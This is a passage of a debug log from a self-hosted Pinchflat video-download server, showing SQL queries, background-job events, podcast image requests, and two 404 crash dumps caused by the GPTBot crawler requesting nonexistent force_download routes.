m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:01:22.145 [debug] QUERY OK source="tasks" db=0.1ms idle=180.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [701, 3, ~U[2026-07-24 16:01:22Z], ~U[2026-07-24 16:01:22Z]] 16:01:22.146 [info] {"args":{"id":3},"id":698,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":181678,"event":"job:stop","queue_time":434077,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:01:22.146 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:01:27.106 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:54.043 [info] GET /sources/2/media/6115/force_download 16:01:54.043 [debug] QUERY OK source="settings" db=0.1ms idle=1050.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:01:54.043 [debug] QUERY OK source="settings" db=0.0ms idle=103.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:01:54.043 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:01:54.044 [error] #PID<0.10584.0> running PinchflatWeb.Endpoint (connection #PID<0.10583.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6115/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6115/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10583.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6115/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47886}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6115", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10584.0>, params: %{}, path_info: ["sources", "2", "media", "6115", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6115"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6115/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFM1H759Vrte4AA8hB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10583.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6115/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47886}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6115", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6115/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10583.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6115/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47886}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6115", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10584.0>, params: %{}, path_info: ["sources", "2", "media", "6115", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 16:01:57.107 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.708 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:02:17.891 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/episode_image.jpg 16:02:17.891 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084"} Pipelines: [:maybe_basic_auth] 16:02:17.891 [debug] QUERY OK source="media_items" db=0.1ms idle=1951.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 16:02:17.891 [info] Sent 200 in 629µs 16:02:22.807 [info] GET /api/v1/videos 16:02:22.808 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:02:22.827 [debug] QUERY OK source="media_items" db=19.5ms idle=1786.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:02:22.882 [info] Sent 200 in 74ms 16:02:23.017 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 16:02:23.017 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:02:23.018 [debug] QUERY OK source="media_items" db=0.2ms idle=1078.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:02:23.043 [info] Sent 200 in 25ms 16:02:27.108 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:27.479 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 16:02:27.479 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 16:02:27.479 [debug] QUERY OK source="media_items" db=0.1ms idle=1539.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 16:02:27.480 [info] Sent 200 in 540µs 16:02:28.347 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/episode_image.jpg 16:02:28.347 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084"} Pipelines: [:maybe_basic_auth] 16:02:28.348 [debug] QUERY OK source="media_items" db=0.1ms idle=1320.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 16:02:28.348 [info] Sent 200 in 538µs 16:02:54.096 [info] GET /sources/3/media/6487/force_download 16:02:54.096 [debug] QUERY OK source="settings" db=0.1ms idle=1156.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:02:54.096 [debug] QUERY OK source="settings" db=0.0ms idle=1042.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:02:54.096 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:02:54.096 [error] #PID<0.10599.0> running PinchflatWeb.Endpoint (connection #PID<0.10598.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6487/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6487/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10598.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6487/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6487", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10599.0>, params: %{}, path_info: ["sources", "3", "media", "6487", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6487"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6487/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFQU1m0QK6vRwAA8oB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10598.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6487/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6487", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6487/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10598.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6487/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6487", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10599.0>, params: %{}, path_info: ["sources", "3", "media", "6487", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 16:02:57.109 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.709 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:03:27.110 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:38.614 [info] GET /api/v1/videos 16:03:38.614 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:03:38.636 [debug] QUERY OK source="media_items" db=21.6ms idle=1515.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:03:38.688 [info] Sent 200 in 73ms 16:03:38.831 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 16:03:38.831 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:03:38.831 [debug] QUERY OK source="media_items" db=0.1ms idle=891.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:03:38.852 [info] Sent 200 in 21ms 16:03:42.702 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/episode_image.jpg 16:03:42.702 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 16:03:42.702 [debug] QUERY OK source="media_items" db=0.1ms idle=762.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 16:03:42.726 [info] Sent 200 in 24ms 16:03:43.696 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/episode_image.jpg 16:03:43.696 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72"} Pipelines: [:maybe_basic_auth] 16:03:43.696 [debug] QUERY OK source="media_items" db=0.2ms idle=1756.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 16:03:43.696 [info] Sent 200 in 567µs 16:03:45.572 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 16:03:45.572 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 16:03:45.572 [debug] QUERY OK source="media_items" db=0.1ms idle=1632.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 16:03:45.572 [info] Sent 200 in 504µs 16:03:45.965 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/episode_image.jpg 16:03:45.966 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084"} Pipelines: [:maybe_basic_auth] 16:03:45.966 [debug] QUERY OK source="media_items" db=0.2ms idle=1026.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 16:03:45.966 [info] Sent 200 in 568µs 16:03:46.401 [info] GET /media/755571a6-37b5-492e-bf09-cd1c4400778c/episode_image.jpg 16:03:46.401 [debug] 